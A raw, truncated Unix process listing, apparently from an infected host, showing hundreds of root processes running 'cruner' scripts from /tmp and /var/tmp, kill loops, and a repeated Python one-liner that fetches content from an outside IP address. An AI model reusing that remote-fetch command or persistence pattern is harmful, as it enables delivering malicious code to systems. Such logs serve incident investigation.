13012 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8648 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 839 14683 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25345 21464 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4426 23651 0 - ? 0:00 <defunct> > root 4523 8837 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6820 25328 0 15:46:12 ? 0:00 sleep 60 > root 2463 2454 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22685 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27190 17746 0 15:45:47 ? 0:00 bash -sh > root 17906 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27176 15316 0 - ? 0:00 <defunct> > root 25624 4028 0 - ? 0:00 <defunct> > root 13522 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18393 3391 0 15:44:57 ? 0:00 bash -sh > root 14032 19596 0 - ? 0:00 <defunct> > root 8865 8378 0 15:45:54 ? 0:00 xargs kill -9 > root 2803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15096 15089 0 15:43:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27938 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15875 16175 0 - ? 0:00 <defunct> > root 19655 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26611 7563 0 - ? 0:00 <defunct> > root 3031 4765 0 15:44:50 ? 0:00 bash -sh > root 4402 28329 0 15:45:49 ? 0:00 sleep 60 > root 6843 17242 0 15:45:35 ? 0:00 bash -sh > root 28085 11960 0 - ? 0:00 <defunct> > root 1895 3195 0 15:45:27 ? 0:00 sleep 60 > root 19003 5558 0 15:46:09 ? 0:00 bash -sh > root 17840 2944 0 - ? 0:00 <defunct> > root 795 3978 0 15:45:48 ? 0:00 sleep 60 > root 5261 4985 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21336 14366 0 - ? 0:00 <defunct> > root 2771 9568 0 15:45:40 ? 0:00 bash -sh > root 13157 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12404 5965 0 - ? 0:00 <defunct> > root 17721 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28963 2682 0 15:45:34 ? 0:00 bash -sh > root 2180 23956 0 15:46:11 ? 0:00 bash -sh > root 26792 10847 0 15:45:43 ? 0:00 sleep 60 > root 17682 17671 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19782 17877 0 15:45:38 ? 0:00 bash -sh > root 29383 23307 0 15:45:24 ? 0:00 sleep 60 > root 19086 28418 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13354 13333 0 - ? 0:00 <defunct> > root 8866 6333 0 - ? 0:00 <defunct> > root 29229 21665 0 15:45:47 ? 0:00 bash -sh > root 25574 23634 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2298 4561 0 15:45:24 ? 0:00 sleep 60 > root 15883 19986 0 - ? 0:00 <defunct> > root 15379 1 0 17:03:20 ? 0:01 sh /var/tmp/cruner > root 2418 3475 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 19151 22143 0 15:45:29 ? 0:00 sleep 60 > root 11312 22881 0 - ? 0:00 <defunct> > root 13238 24171 0 15:45:11 ? 0:00 bash -sh > root 10322 8474 0 15:45:10 ? 0:00 bash -sh > root 5597 12173 0 - ? 0:00 <defunct> > root 14051 14780 0 15:46:13 ? 0:00 sh /tmp/cruner > root 28162 28087 0 15:45:18 ? 0:00 sleep 60 > root 25200 9344 0 15:45:57 ? 0:00 sleep 60 > root 8428 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23784 24194 0 - ? 0:00 <defunct> > root 18593 27503 0 15:45:37 ? 0:00 bash -sh > root 16731 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6778 6774 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25856 14078 0 15:45:47 ? 0:00 sleep 60 > root 16056 9422 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2129 16177 0 15:45:48 ? 0:00 sleep 60 > root 17473 4597 0 - ? 0:00 <defunct> > root 23020 8489 0 15:46:09 ? 0:00 xargs kill -9 > root 12484 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2952 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18207 3636 0 - ? 0:00 <defunct> > root 19160 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11709 27579 0 - ? 0:00 <defunct> > root 29479 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24516 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2873 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1471 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9279 19691 0 15:45:31 ? 0:00 bash -sh > root 20612 17697 0 15:45:29 ? 0:00 bash -sh > root 704 12762 0 - ? 0:00 <defunct> > root 22401 6577 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14137 9357 0 15:46:13 ? 0:00 bash -sh > root 7142 1596 0 - ? 0:00 <defunct> > root 2467 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7112 25133 0 15:46:07 ? 0:00 bash -sh > root 1625 26240 0 - ? 0:00 <defunct> > root 2053 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21491 747 0 - ? 0:00 <defunct> > root 22157 8807 0 15:45:22 ? 0:00 bash -sh > root 4191 2187 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20157 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15677 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15778 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23350 4423 0 15:45:38 ? 0:00 xargs kill -9 > root 18679 23959 0 15:44:06 ? 0:00 bash -sh > root 8221 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25555 28204 0 15:44:54 ? 0:00 bash -sh > root 21468 3712 0 15:45:17 ? 0:00 bash -sh > root 20752 13725 0 15:46:09 ? 0:00 sleep 60 > root 12516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13291 13402 0 15:44:52 ? 0:00 bash -sh > root 20261 13703 0 15:45:42 ? 0:00 sleep 60 > root 28697 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3040 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1803 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24240 20677 0 15:46:01 ? 0:00 bash -sh > root 26091 10468 0 15:45:30 ? 0:00 sleep 60 > root 15092 19635 0 - ? 0:00 <defunct> > root 7017 13019 0 15:45:58 ? 0:00 bash -sh > root 1139 3496 0 15:45:27 ? 0:00 sleep 60 > root 144 27599 0 15:44:41 ? 0:00 bash -sh > root 23054 21405 0 15:45:33 ? 0:00 sleep 60 > root 27588 27485 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 652 11280 0 15:45:48 ? 0:00 sleep 60 > root 10944 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11588 7321 0 15:45:59 ? 0:00 bash -sh > root 14771 26621 0 15:45:51 ? 0:00 bash -sh > root 24827 15047 0 15:45:43 ? 0:00 bash -sh > root 13143 9346 0 15:46:13 ? 0:00 bash -sh > root 14712 15051 0 15:44:35 ? 0:00 bash -sh > root 1703 21798 0 15:46:06 ? 0:00 bash -sh > root 6510 26852 0 15:45:25 ? 0:00 sleep 60 > root 15495 20403 0 15:44:05 ? 0:00 bash -sh > root 4153 23028 0 15:45:48 ? 0:00 sleep 60 > root 16519 8567 0 - ? 0:00 <defunct> > root 24219 142 0 15:45:57 ? 0:00 sleep 60 > root 5621 15629 0 15:45:20 ? 0:00 sleep 60 > root 23415 17833 0 15:46:01 ? 0:00 bash -sh > root 1539 26504 0 15:45:35 ? 0:00 sleep 60 > root 11264 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23047 22584 0 15:45:43 ? 0:00 sleep 60 > root 27501 18819 0 15:43:16 ? 0:00 bash -sh > root 546 17069 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11479 14965 0 15:44:15 ? 0:00 bash -sh > root 24616 13523 0 - ? 0:00 <defunct> > root 18260 1225 0 15:45:37 ? 0:00 bash -sh > root 13393 4124 0 15:44:16 ? 0:00 bash -sh > root 18239 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6145 4410 0 15:45:20 ? 0:00 sleep 60 > root 5877 18287 0 15:45:28 ? 0:00 bash -sh > root 21186 7477 0 15:46:09 ? 0:00 sleep 60 > root 2168 20974 0 - ? 0:00 <defunct> > root 28007 15071 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 22457 362 0 15:46:01 ? 0:00 bash -sh > root 27334 387 0 15:45:34 ? 0:00 sleep 60 > root 8328 26125 0 15:45:58 ? 0:00 bash -sh > root 12507 14534 0 - ? 0:00 <defunct> > root 23583 22560 0 15:45:30 ? 0:00 bash -sh > root 27945 4528 0 15:45:14 ? 0:00 sleep 60 > root 10939 26646 0 15:45:50 ? 0:00 bash -sh > root 15357 20596 0 15:45:51 ? 0:00 bash -sh > root 25822 12232 0 15:46:01 ? 0:00 sleep 60 > root 7340 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 122 10401 0 - ? 0:00 <defunct> > root 20378 25580 0 15:43:52 ? 0:00 bash -sh > root 13523 22293 0 15:45:11 ? 0:00 bash -sh > root 19660 19018 0 15:45:26 ? 0:00 sleep 60 > root 8573 5509 0 - ? 0:00 <defunct> > root 20371 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24025 29474 0 15:45:57 ? 0:00 sleep 60 > root 29652 4705 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 14958 29742 0 15:43:44 ? 0:00 bash -sh > root 4646 995 0 15:46:06 ? 0:00 sleep 60 > root 13002 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6478 13305 0 - ? 0:00 <defunct> > root 3921 21303 0 - ? 0:00 <defunct> > root 14950 20547 0 - ? 0:00 <defunct> > root 16487 13620 0 15:42:48 ? 0:00 bash -sh > root 11463 8262 0 - ? 0:00 <defunct> > root 2232 19184 0 15:46:02 ? 0:00 sleep 60 > root 17826 8576 0 15:46:08 ? 0:00 bash -sh > root 3167 11631 0 15:45:31 ? 0:00 sleep 60 > root 14133 23103 0 - ? 0:00 <defunct> > root 20566 17684 0 15:45:12 ? 0:00 bash -sh > root 27090 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12852 5877 0 - ? 0:00 <defunct> > root 20208 2580 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19421 13717 0 15:44:53 ? 0:00 bash -sh > root 5255 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1731 14600 0 15:46:06 ? 0:00 bash -sh > root 630 2994 0 15:45:08 ? 0:00 bash -sh > root 9414 13082 0 15:45:01 ? 0:00 xargs kill -9 > root 15371 3473 0 15:46:08 ? 0:00 bash -sh > root 22006 755 0 15:45:52 ? 0:00 sleep 60 > root 5828 18747 0 - ? 0:00 <defunct> > root 23565 457 0 - ? 0:00 <defunct> > root 5673 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9765 9253 0 - ? 0:00 <defunct> > root 11084 6530 0 - ? 0:00 <defunct> > root 8434 27857 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5608 29914 0 15:43:42 ? 0:00 bash -sh > root 14095 12999 0 15:46:08 ? 0:00 sleep 60 > root 3641 20117 0 15:45:58 ? 0:00 sleep 60 > root 29166 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27761 27748 0 15:43:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11201 25738 0 - ? 0:00 <defunct> > root 22919 23955 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 9174 10130 0 - ? 0:00 <defunct> > root 23401 590 0 - ? 0:00 <defunct> > root 20884 27569 0 15:44:07 ? 0:00 bash -sh > root 8732 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2328 26659 0 - ? 0:00 <defunct> > root 2507 10848 0 15:45:14 ? 0:00 bash -sh > root 23652 15241 0 15:46:10 ? 0:00 bash -sh > root 26157 15636 0 15:46:05 ? 0:00 sleep 60 > root 27705 6062 0 15:43:41 ? 0:00 bash -sh > root 8915 17341 0 - ? 0:00 <defunct> > root 7770 6194 0 15:46:07 ? 0:00 bash -sh > root 9413 4690 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25984 22625 0 15:45:47 ? 0:00 sleep 60 > root 24067 16493 0 15:45:02 ? 0:00 bash -sh > root 29390 15105 0 - ? 0:00 <defunct> > root 28543 10781 0 15:45:34 ? 0:00 sleep 60 > root 4163 2002 0 15:44:46 ? 0:00 xargs kill -9 > root 3109 6409 0 15:43:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14820 24036 0 15:45:55 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4128 11344 0 - ? 0:00 <defunct> > root 22868 22867 0 - ? 0:00 <defunct> > root 6065 12492 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 7968 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16361 27059 0 15:45:42 ? 0:00 sleep 60 > root 4438 18362 0 - ? 0:00 <defunct> > root 27050 17629 0 15:45:53 ? 0:00 sh /tmp/cruner > root 7263 10266 0 15:46:07 ? 0:00 bash -sh > root 10080 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21373 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22974 11914 0 15:46:05 ? 0:00 sleep 60 > root 25655 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7827 5083 0 15:45:25 ? 0:00 sleep 60 > root 15818 29319 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 798 15725 0 - ? 0:00 <defunct> > root 13913 3235 0 - ? 0:00 <defunct> > root 12125 8408 0 - ? 0:00 <defunct> > root 16414 16223 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10898 17425 0 15:43:38 ? 0:00 bash -sh > root 10771 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11399 12046 0 15:45:59 ? 0:00 bash -sh > root 14071 18310 0 15:44:52 ? 0:00 bash -sh > root 2455 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18335 19278 0 15:44:06 ? 0:00 bash -sh > root 22290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6280 14861 0 15:45:20 ? 0:00 sleep 60 > root 9341 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22487 25308 0 15:45:42 ? 0:00 bash -sh > root 28427 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12959 22067 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 192 24453 0 15:46:06 ? 0:00 bash -sh > root 25209 16045 0 15:45:07 ? 0:00 bash -sh > root 14881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26250 15100 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28399 28361 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16346 7589 0 15:46:08 ? 0:00 sleep 60 > root 11262 20909 0 15:44:51 ? 0:00 bash -sh > root 1611 8612 0 15:45:48 ? 0:00 sleep 60 > root 27572 3433 0 15:45:18 ? 0:00 sleep 60 > root 11074 23288 0 - ? 0:00 <defunct> > root 3444 4754 0 15:46:11 ? 0:00 sleep 60 > root 13349 14874 0 15:46:08 ? 0:00 sleep 60 > root 10304 3656 0 15:45:10 ? 0:00 sh /var/tmp/cruner > root 17989 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19059 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17629 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3358 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29600 29596 0 15:45:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13205 14401 0 - ? 0:00 <defunct> > root 11161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28116 7601 0 - ? 0:00 <defunct> > root 9000 290 0 15:45:25 ? 0:00 sleep 60 > root 13385 22507 0 15:45:11 ? 0:00 bash -sh > root 28065 2468 0 15:45:18 ? 0:00 sleep 60 > root 10706 26526 0 15:45:55 ? 0:00 sleep 60 > root 18368 14738 0 - ? 0:00 <defunct> > root 27426 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9154 26159 0 15:45:59 ? 0:00 sleep 60 > root 11847 9623 0 15:44:04 ? 0:00 bash -sh > root 29732 6557 0 15:43:16 ? 0:00 bash -sh > root 19005 4905 0 15:45:42 ? 0:00 sleep 60 > root 12368 24395 0 - ? 0:00 <defunct> > root 27674 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15714 24611 0 - ? 0:00 <defunct> > root 9615 6871 0 15:45:15 ? 0:00 bash -sh > root 7544 1942 0 - ? 0:00 <defunct> > root 28086 10271 0 - ? 0:00 <defunct> > root 10324 29771 0 15:44:47 ? 0:00 bash -sh > root 4858 12596 0 15:45:24 ? 0:00 sleep 60 > root 28335 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17381 17346 0 - ? 0:00 <defunct> > root 1649 13680 0 15:45:03 ? 0:00 bash -sh > root 26054 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16187 1807 0 15:46:08 ? 0:00 sh /tmp/cruner > root 9696 11114 0 15:46:07 ? 0:00 sleep 60 > root 5009 7409 0 - ? 0:00 <defunct> > root 17985 24416 0 - ? 0:00 <defunct> > root 29026 6599 0 - ? 0:00 <defunct> > root 2240 25903 0 15:46:02 ? 0:00 sleep 60 > root 18628 17414 0 15:43:34 ? 0:00 bash -sh > root 21749 23628 0 15:45:33 ? 0:00 sleep 60 > root 13443 4028 0 - ? 0:00 <defunct> > root 8936 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3391 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29803 5352 0 15:46:11 ? 0:00 bash -sh > root 19241 22144 0 15:45:16 ? 0:00 bash -sh > root 4457 4541 0 - ? 0:00 <defunct> > root 3768 8130 0 - ? 0:00 <defunct> > root 5956 27508 0 15:46:06 ? 0:00 sleep 60 > root 29717 4260 0 15:45:18 ? 0:00 sleep 60 > root 24260 23566 0 - ? 0:00 <defunct> > root 25169 18022 0 15:46:01 ? 0:00 sleep 60 > root 3682 12425 0 15:45:28 ? 0:00 sleep 60 > root 25357 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22565 22556 0 15:45:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24356 22607 0 - ? 0:00 <defunct> > root 8005 6274 0 15:45:31 ? 0:00 bash -sh > root 11541 11522 0 - ? 0:00 <defunct> > root 14169 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18597 9100 0 15:46:00 ? 0:00 sleep 60 > root 4797 24608 0 15:46:06 ? 0:00 sleep 60 > root 11985 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18052 29268 0 - ? 0:00 <defunct> > root 2436 2434 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17671 942 0 15:43:27 ? 0:00 bash -sh > root 9142 9660 0 15:45:50 ? 0:00 sleep 60 > root 7540 3196 0 15:45:25 ? 0:00 bash -sh > root 4972 28366 0 15:46:03 ? 0:00 bash -sh > root 27247 26086 0 15:45:34 ? 0:00 sleep 60 > root 21561 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26197 2144 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5168 20636 0 15:45:49 ? 0:00 sleep 60 > root 14664 14464 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13271 13264 0 - ? 0:00 <defunct> > root 23803 5935 0 15:45:57 ? 0:00 sleep 60 > root 8975 8971 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19901 2900 0 15:45:56 ? 0:00 sleep 60 > root 29309 27583 0 15:46:02 ? 0:00 sleep 60 > root 7917 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8249 5998 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15006 16076 0 15:45:37 ? 0:00 sleep 60 > root 22674 29965 0 15:45:13 ? 0:00 sleep 60 > root 6402 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22201 15784 0 15:45:17 ? 0:00 sleep 60 > root 24765 18687 0 - ? 0:00 <defunct> > root 15492 1072 0 15:45:11 ? 0:00 bash -sh > root 756 27304 0 15:45:48 ? 0:00 sleep 60 > root 22366 22294 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3421 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1967 25733 0 15:45:39 ? 0:00 bash -sh > root 18500 3671 0 15:43:39 ? 0:00 bash -sh > root 3005 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26532 4507 0 15:45:47 ? 0:00 bash -sh > root 12472 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4057 21389 0 15:45:24 ? 0:00 bash -sh > root 4626 29292 0 15:45:49 ? 0:00 xargs kill -9 > root 23267 12333 0 - ? 0:00 <defunct> > root 22168 8526 0 15:46:09 ? 0:00 bash -sh > root 22815 18102 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11297 29459 0 15:43:19 ? 0:00 bash -sh > root 21516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19324 12160 0 15:45:33 ? 0:00 sleep 60 > root 13565 22863 0 - ? 0:00 <defunct> > root 6640 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7865 7853 0 15:43:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26268 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2497 366 0 - ? 0:00 <defunct> > root 28422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15713 7198 0 15:43:27 ? 0:00 bash -sh > root 28301 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7503 20081 0 15:45:36 ? 0:00 bash -sh > root 24546 23313 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10331 19331 0 - ? 0:00 <defunct> > root 15482 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 994 28373 0 - ? 0:00 <defunct> > root 13686 12417 0 - ? 0:00 <defunct> > root 1588 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28858 24941 0 15:45:39 ? 0:00 sleep 60 > root 170 3508 0 - ? 0:00 <defunct> > root 17352 17348 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6076 15677 0 15:45:28 ? 0:00 sleep 60 > root 28658 4815 0 15:45:18 ? 0:00 sleep 60 > root 5892 22283 0 - ? 0:00 <defunct> > root 24590 17321 0 15:45:13 ? 0:00 bash -sh > root 5240 10042 0 - ? 0:00 <defunct> > root 14704 11829 0 15:45:41 ? 0:00 bash -sh > root 19145 17500 0 15:44:58 ? 0:00 xargs kill -9 > root 7144 2466 0 - ? 0:00 <defunct> > root 19327 12488 0 - ? 0:00 <defunct> > root 2109 10298 0 15:45:19 ? 0:00 sleep 60 > root 9617 13520 0 15:44:47 ? 0:00 bash -sh > root 5870 9059 0 15:46:12 ? 0:00 sleep 60 > root 11476 4101 0 15:45:59 ? 0:00 bash -sh > root 21142 20394 0 - ? 0:00 <defunct> > root 4075 6667 0 - ? 0:00 <defunct> > root 23035 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21024 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13524 14937 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16360 1227 0 15:46:08 ? 0:00 bash -sh > root 18756 5159 0 15:45:37 ? 0:00 bash -sh > root 28653 23036 0 15:45:34 ? 0:00 sleep 60 > root 18933 24844 0 15:46:00 ? 0:00 sleep 60 > root 5328 29961 0 - ? 0:00 <defunct> > root 17793 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15712 27973 0 15:45:29 ? 0:00 sleep 60 > root 24565 26235 0 - ? 0:00 <defunct> > root 3353 11045 0 - ? 0:00 <defunct> > root 9037 4890 0 15:43:43 ? 0:00 bash -sh > root 14853 7739 0 15:45:25 ? 0:00 sleep 60 > root 23572 22156 0 15:46:10 ? 0:00 sleep 60 > root 18634 17509 0 15:45:12 ? 0:00 bash -sh > root 17705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5871 27161 0 15:45:58 ? 0:00 sleep 60 > root 17215 17201 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6751 24285 0 15:43:37 ? 0:00 bash -sh > root 19514 14566 0 15:45:42 ? 0:00 sleep 60 > root 27697 14088 0 - ? 0:00 <defunct> > root 20294 20292 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27762 6843 0 - ? 0:00 <defunct> > root 1054 29715 0 15:45:58 ? 0:00 sleep 60 > root 23454 4376 0 15:45:17 ? 0:00 bash -sh > root 12333 14594 0 15:45:29 ? 0:00 bash -sh > root 23060 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16087 21477 0 15:46:00 ? 0:00 xargs kill -9 > root 16870 13923 0 15:45:22 ? 0:00 sleep 60 > root 13603 27634 0 15:46:13 ? 0:00 xargs kill -9 > root 24174 21937 0 - ? 0:00 <defunct> > root 7763 2813 0 - ? 0:00 <defunct> > root 15997 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28662 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12943 15885 0 - ? 0:00 <defunct> > root 7914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7196 11015 0 - ? 0:00 <defunct> > root 25120 2259 0 - ? 0:00 <defunct> > root 7582 7333 0 15:45:36 ? 0:00 bash -sh > root 6008 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13013 12187 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 8688 6735 0 - ? 0:00 <defunct> > root 9827 1776 0 - ? 0:00 <defunct> > root 14513 14490 0 15:45:51 ? 0:00 bash -sh > root 6274 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 771 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7108 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8472 21453 0 - ? 0:00 <defunct> > root 9359 4670 0 15:45:15 ? 0:00 bash -sh > root 29915 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21726 7749 0 15:46:09 ? 0:00 bash -sh > root 9453 10867 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 20710 3242 0 15:44:18 ? 0:00 bash -sh > root 11100 11200 0 - ? 0:00 <defunct> > root 7192 3608 0 15:45:35 ? 0:00 bash -sh > root 10445 2107 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 24544 10626 0 - ? 0:00 <defunct> > root 10333 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15886 1 0 21:33:03 ? 0:00 sh /var/tmp/cruner > root 672 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12424 12459 0 - ? 0:00 <defunct> > root 11609 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10619 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19790 12174 0 15:45:29 ? 0:00 sleep 60 > root 25027 21715 0 - ? 0:00 <defunct> > root 3988 1660 0 15:45:24 ? 0:00 sleep 60 > root 24077 24076 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 115 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27834 22365 0 15:45:18 ? 0:00 sleep 60 > root 13047 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24466 1 0 18:08:08 ? 0:01 sh /var/tmp/cruner > root 9737 6221 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 7468 7462 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 964 1 0 Oct 05 ? 0:02 sh 